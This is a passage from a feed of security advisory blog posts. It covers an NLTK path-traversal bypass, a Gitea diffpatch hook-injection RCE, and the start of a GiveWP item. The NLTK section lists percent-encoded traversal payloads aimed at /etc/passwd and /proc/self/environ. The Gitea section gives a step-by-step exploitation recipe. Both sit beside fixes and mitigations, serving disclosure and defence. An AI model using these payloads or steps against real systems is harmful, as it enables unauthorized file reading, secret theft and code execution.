&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa42xjlyciccaicotc01i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa42xjlyciccaicotc01i.png" alt=" " width="800" height="1166"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;nltk:../../../etc/passwd&lt;/code&gt;&lt;/strong&gt; — a literal traversal. &lt;code&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/code&gt; catches &lt;code&gt;../&lt;/code&gt; immediately, a &lt;code&gt;ValueError&lt;/code&gt; is raised, and the request is blocked as designed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;nltk:%2fetc%2fpasswd&lt;/code&gt;&lt;/strong&gt; — a percent-encoded leading slash. As a string it matches none of &lt;code&gt;^/&lt;/code&gt;, &lt;code&gt;../&lt;/code&gt;, backslash, or a drive letter, so it sails through the check. &lt;code&gt;url2pathname()&lt;/code&gt; decodes it to &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd&lt;/code&gt;&lt;/strong&gt; — &lt;code&gt;%2e%2e&lt;/code&gt; is a different string from &lt;code&gt;..&lt;/code&gt;, so it passes the same check. After decoding, it walks five levels up and out.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A related variant, &lt;code&gt;nltk:%2fproc%2fself%2fenviron&lt;/code&gt;, targets the process environment file directly. &lt;code&gt;/proc/self/environ&lt;/code&gt; frequently leaks API keys, database credentials, and cloud secrets that were passed in as environment variables, which makes it a particularly attractive target once the primary check is bypassed.&lt;/p&gt;

&lt;h2&gt;
  
  
  There was a second layer of defense — but it isn't enforced by default
&lt;/h2&gt;

&lt;p&gt;NLTK also ships a &lt;code&gt;nltk.pathsec&lt;/code&gt; module meant to re-check the path right before the file is actually opened. The catch: this check isn't enforced unless you explicitly opt in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# typical pattern inside nltk/pathsec.py
&lt;/span&gt;&lt;span class="n"&gt;ENFORCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;NLTK_PATHSEC_ENFORCE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;yes&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;validate_something&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;is_violation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ENFORCE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;SecurityError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;      &lt;span class="c1"&gt;# only raises if the env var is set
&lt;/span&gt;        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;warnings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;...&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;RuntimeWarning&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# default: warn and keep going
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ENFORCE&lt;/code&gt; stays &lt;code&gt;False&lt;/code&gt; unless the &lt;code&gt;NLTK_PATHSEC_ENFORCE&lt;/code&gt; environment variable is explicitly set. So out of the box, a dangerous path only produces a &lt;code&gt;RuntimeWarning&lt;/code&gt; — the &lt;code&gt;open()&lt;/code&gt; call itself still goes through. The one backstop you might expect to catch a bypassed regex check ends up being little more than a log line unless you turn it on yourself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who's affected
&lt;/h2&gt;

&lt;p&gt;This bug matters for &lt;strong&gt;any application that passes externally controlled input into &lt;code&gt;nltk.data.load()&lt;/code&gt; or &lt;code&gt;nltk.data.find()&lt;/code&gt; as the resource name&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NLP web services or APIs that let users specify a corpus/model name&lt;/li&gt;
&lt;li&gt;Hosted notebook services that execute user-supplied code&lt;/li&gt;
&lt;li&gt;Multi-tenant ML pipelines that parameterize resource identifiers per tenant&lt;/li&gt;
&lt;li&gt;CI/CD pipelines that build resource paths from external input&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The CVSS vector (&lt;code&gt;C:H/I:N/A:N&lt;/code&gt;) tells the story: this is a confidentiality-only issue. Nothing gets modified or taken down — it's &lt;strong&gt;arbitrary read access to anything the process's user can read.&lt;/strong&gt; Beyond &lt;code&gt;/etc/passwd&lt;/code&gt; and &lt;code&gt;/proc/self/environ&lt;/code&gt;, that includes application config files, SSH private keys, and any locally cached cloud-metadata responses.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix in 3.10.0
&lt;/h2&gt;

&lt;p&gt;3.10.0 targets the root cause directly — decode-then-check — by adding an &lt;code&gt;_assert_no_encoded_bypass()&lt;/code&gt; function that re-runs the same validation against the decoded form of the string.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unquote&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_assert_no_encoded_bypass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;error_label&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Reject `name` if its URL-decoded form contains an unsafe pattern.

    unquote() is applied exactly once. url2pathname() itself only does a
    single decode pass, so this mirrors that behavior; decoding
    repeatedly would change the meaning of legitimately encoded values
    like &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%2520&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; (a literal &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%20&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;).
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unquote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;decoded&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;label&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;error_label&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;error_label&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unsafe resource path: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_reject_unsafe_no_protocol&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Unsafe resource path: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;resource_url&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# re-check the decoded form against the same policy
&lt;/span&gt;    &lt;span class="nf"&gt;_assert_no_encoded_bypass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resource_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things matter here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The same regex is reused, not duplicated.&lt;/strong&gt; Rather than inventing a new blocklist, &lt;code&gt;_UNSAFE_NO_PROTOCOL_RE&lt;/code&gt; is applied to both the raw string and its &lt;code&gt;unquote()&lt;/code&gt;-decoded form. There's only one policy to keep in sync.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decoding happens exactly once.&lt;/strong&gt; Matching &lt;code&gt;url2pathname()&lt;/code&gt;'s single decode pass avoids breaking legitimately double-encoded values such as &lt;code&gt;%2520&lt;/code&gt; (a literal &lt;code&gt;%20&lt;/code&gt;), which repeated decoding would otherwise mangle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every entry point calls it.&lt;/strong&gt; &lt;code&gt;_reject_unsafe_no_protocol()&lt;/code&gt;, the &lt;code&gt;nltk:&lt;/code&gt; scheme handling inside &lt;code&gt;normalize_resource_url()&lt;/code&gt;, and the defense-in-depth check inside &lt;code&gt;find()&lt;/code&gt; all now call &lt;code&gt;_assert_no_encoded_bypass()&lt;/code&gt; — so there's no remaining code path where a resource name turns into a file path without the decoded check running.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What to do about it
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade to NLTK 3.10.0 or later.&lt;/strong&gt; This is the real fix.&lt;/li&gt;
&lt;li&gt;If an immediate upgrade isn't possible, set &lt;code&gt;NLTK_PATHSEC_ENFORCE=true&lt;/code&gt; to activate the &lt;code&gt;pathsec&lt;/code&gt; layer's hard block. Treat this as a stopgap, not a substitute for patching — it's a mitigation, not a root-cause fix.&lt;/li&gt;
&lt;li&gt;Audit any code path where a resource name passed to &lt;code&gt;nltk.data.load()&lt;/code&gt; / &lt;code&gt;nltk.data.find()&lt;/code&gt; originates from user input. An application-level allowlist of permitted corpus/model names is a reasonable defense-in-depth measure on top of the library fix.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>python</category>
      <category>vulnerabilities</category>
      <category>ubuntu</category>
      <category>cve</category>
    </item>
    <item>
      <title>CVE-2026-60004 — RCE in Gitea via diffpatch Git Hook Injection</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 11 Sep 2026 08:05:22 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-60004-rce-in-gitea-via-diffpatch-git-hook-injection-49j6</link>
      <guid>https://dev.to/guidance_white/cve-2026-60004-rce-in-gitea-via-diffpatch-git-hook-injection-49j6</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsnam7zvf3bbr28wiq4jn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsnam7zvf3bbr28wiq4jn.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-60004&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-94 (Improper Control of Generation of Code)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;Gitea 1.17 – 1.27.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;1.27.1 (released 2026-07-27)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Endpoint&lt;/td&gt;
&lt;td&gt;&lt;code&gt;POST /api/v1/repos/{owner}/{repo}/diffpatch&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reporter&lt;/td&gt;
&lt;td&gt;Shai Rod (NightRang3r)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Gitea's &lt;code&gt;diffpatch&lt;/code&gt; API applies a user-supplied patch to a temporary internal repository. Send the &lt;strong&gt;exact same patch twice&lt;/strong&gt;, and Git's own 3-way merge conflict-resolution logic quietly defeats the &lt;code&gt;--cached&lt;/code&gt; flag, writing the patched file straight to disk. Point that file at &lt;code&gt;hooks/post-index-change&lt;/code&gt;, and you get arbitrary command execution as the Gitea service account.&lt;/p&gt;

&lt;p&gt;All you need is write access to one repository. If public sign-up is enabled — which is common on self-hosted instances — that means an &lt;strong&gt;unauthenticated attacker&lt;/strong&gt; can register, create a repo, and go straight to RCE.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Three ordinary behaviors, one dangerous combination
&lt;/h2&gt;

&lt;p&gt;This isn't a single bug — it's three individually reasonable behaviors that happen to line up badly.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Bare clones&lt;/strong&gt;: the temporary clone &lt;code&gt;diffpatch&lt;/code&gt; creates to apply the patch is &lt;code&gt;--bare&lt;/code&gt;. A bare repo has no working tree, so the repo root &lt;em&gt;is&lt;/em&gt; &lt;code&gt;$GIT_DIR&lt;/code&gt; — &lt;code&gt;hooks/&lt;/code&gt;, &lt;code&gt;objects/&lt;/code&gt;, &lt;code&gt;refs/&lt;/code&gt; all sit directly at the root.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;git apply&lt;/code&gt;'s 3-way fallback&lt;/strong&gt;: since Git 2.32, &lt;code&gt;git apply&lt;/code&gt; can retry with &lt;code&gt;-3&lt;/code&gt; when a plain apply fails. That fallback is designed to check out the merge result into the working tree to resolve conflicts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automatic hook execution&lt;/strong&gt;: &lt;code&gt;post-index-change&lt;/code&gt; is a hook Git invokes on its own, with zero human interaction, any time the index changes. If an executable file exists at that path, Git just runs it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Gitea's implementation didn't account for what happens when (1) and (2) collide.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The vulnerable code
&lt;/h2&gt;

&lt;p&gt;The relevant logic lives in &lt;code&gt;services/repository/files/patch.go&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="n"&gt;cmdApply&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;gitcmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"apply"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--index"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--recount"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--cached"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--binary"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;git&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DefaultFeatures&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CheckVersionAtLeast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"2.32"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;cmdApply&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AddArguments&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"-3"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Breaking this down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--cached&lt;/code&gt; means "update the index only — never touch the working directory." This is the flag that makes the whole approach look safe.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-3&lt;/code&gt; tells Git to fall back to a 3-way merge when a patch doesn't apply cleanly (i.e., context mismatch). On its own, this is a legitimate usability improvement added in Git 2.32.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The problem: &lt;strong&gt;when the &lt;code&gt;-3&lt;/code&gt; fallback actually triggers, it doesn't honor the "nothing touches disk" guarantee that &lt;code&gt;--cached&lt;/code&gt; is supposed to provide.&lt;/strong&gt; The 3-way merge path resolves conflicts by checking the merged blob out to the real filesystem.&lt;/p&gt;

&lt;p&gt;The trick to reliably trigger that fallback is embarrassingly simple — &lt;strong&gt;send the same patch twice&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1st request&lt;/strong&gt;: a patch adding a new file at &lt;code&gt;hooks/post-index-change&lt;/code&gt; applies cleanly and lands in the index (thanks to &lt;code&gt;--cached&lt;/code&gt;, nothing hits disk yet).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2nd request&lt;/strong&gt;: resubmitting the &lt;em&gt;identical&lt;/em&gt; patch means a file is now being "added" at a path that's already been added — an &lt;strong&gt;add/add conflict&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;On that conflict, the &lt;code&gt;-3&lt;/code&gt; fallback kicks in and checks out the merge result to real disk.&lt;/li&gt;
&lt;li&gt;Because the clone is bare, the file that just landed on disk at &lt;code&gt;hooks/post-index-change&lt;/code&gt; is sitting inside the actual Git hooks directory.&lt;/li&gt;
&lt;li&gt;If the patch's diff header specifies &lt;code&gt;new file mode 100755&lt;/code&gt;, the file even keeps its executable bit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The next time &lt;code&gt;git apply --index&lt;/code&gt; touches the index in that same clone, Git follows its normal hook-invocation path and runs &lt;code&gt;post-index-change&lt;/code&gt; — as a child process of the Gitea service, with the Gitea service account's privileges. That's arbitrary command execution.&lt;/p&gt;

&lt;p&gt;One more detail worth calling out: &lt;strong&gt;the hook's exit code is never surfaced in the &lt;code&gt;diffpatch&lt;/code&gt; API response.&lt;/strong&gt; A successful attack returns the same response as an ordinary, successful patch application, so there's no obvious signal in the HTTP layer that anything happened.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Full attack flow
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fra63d0x10ckrej9o0d25.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fra63d0x10ckrej9o0d25.png" alt=" " width="800" height="1120"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Attacker registers an account (no prior credentials needed if public sign-up is on).&lt;/li&gt;
&lt;li&gt;Attacker creates a repository with &lt;code&gt;auto_init&lt;/code&gt; — write access to that one repo is the only precondition.&lt;/li&gt;
&lt;li&gt;Attacker sends a &lt;code&gt;diffpatch&lt;/code&gt; request adding &lt;code&gt;hooks/post-index-change&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Attacker resends the &lt;strong&gt;exact same&lt;/strong&gt; patch, forcing an add/add conflict.&lt;/li&gt;
&lt;li&gt;Git's 3-way fallback bypasses &lt;code&gt;--cached&lt;/code&gt; and writes the hook file to the bare clone's real &lt;code&gt;hooks/&lt;/code&gt; directory.&lt;/li&gt;
&lt;li&gt;Git auto-executes &lt;code&gt;post-index-change&lt;/code&gt; on the next index update → arbitrary command execution.&lt;/li&gt;
&lt;li&gt;If the hook script stores command output as a Git object or a branch, the attacker retrieves it with a plain, authenticated &lt;code&gt;fetch&lt;/code&gt; — no outbound connection from the server required.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Every one of these steps rides on standard Git protocol and the standard Gitea REST API, which is exactly why this is hard to catch with a WAF or network IDS: from the outside, it just looks like "an API client uploaded the same patch twice."&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Impact
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Anything the Gitea process can reach is in scope: &lt;code&gt;app.ini&lt;/code&gt; secrets, process environment variables, every mounted repository, the database connection and its contents, OAuth/integration credentials, and any internal services reachable from that host.&lt;/li&gt;
&lt;li&gt;On instances with public registration enabled, this is effectively a &lt;strong&gt;pre-auth RCE&lt;/strong&gt; — no stolen credentials required.&lt;/li&gt;
&lt;li&gt;The CVE has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog, with observed exploitation delivering cryptominer payloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/R1e7pc2Fsus" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Mitigation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Upgrade to Gitea 1.27.1 or later immediately.&lt;/strong&gt; The fix shipped quietly, described in release notes as "refactor: git patch apply" rather than flagged as a security fix — check the version number itself, not just the changelog wording.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable public registration&lt;/strong&gt; (&lt;code&gt;DISABLE_REGISTRATION = true&lt;/code&gt; under &lt;code&gt;[service]&lt;/code&gt; in &lt;code&gt;app.ini&lt;/code&gt;) to remove the unauthenticated attack path entirely.&lt;/li&gt;
&lt;li&gt;Run the Gitea process under a &lt;strong&gt;least-privilege dedicated account&lt;/strong&gt; so a successful hook execution has limited blast radius.&lt;/li&gt;
&lt;li&gt;Watch for repeated calls to &lt;code&gt;diffpatch&lt;/code&gt; against the same repo with the same patch body in a short window — that's the fingerprint of this attack.&lt;/li&gt;
&lt;li&gt;Periodically audit repositories' &lt;code&gt;hooks/&lt;/code&gt; directories for recently created or modified executables (&lt;code&gt;post-receive&lt;/code&gt;, &lt;code&gt;pre-receive&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, &lt;code&gt;post-index-change&lt;/code&gt;, etc.).&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  6. Wrap-up
&lt;/h2&gt;

&lt;p&gt;What stands out about this CVE is that every individual piece was added for a good reason. &lt;code&gt;--cached&lt;/code&gt; was a deliberate safety flag. The &lt;code&gt;-3&lt;/code&gt; fallback was a usability improvement. Automatic hook execution is core Git design, not a bug. It's only when all three meet inside a temporary bare clone that the safety guarantee &lt;code&gt;--cached&lt;/code&gt; was supposed to provide quietly breaks. Any feature that manipulates a temporary Git repository from untrusted input needs to account for the repo's shape (bare vs. non-bare) and the less-common fallback paths of the Git subcommands it invokes — not just their documented happy-path behavior.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>CVE-2026-82222 Deep Dive — Unauthenticated PHP Object Injection to RCE in GiveWP (CVSS 10.0)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 08 Sep 2026 01:07:54 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-82222-deep-dive-unauthenticated-php-object-injection-to-rce-in-givewp-cvss-100-4mo</link>
      <guid>https://dev.to/guidance_white/cve-2026-82222-deep-dive-unauthenticated-php-object-injection-to-rce-in-givewp-cvss-100-4mo</guid>
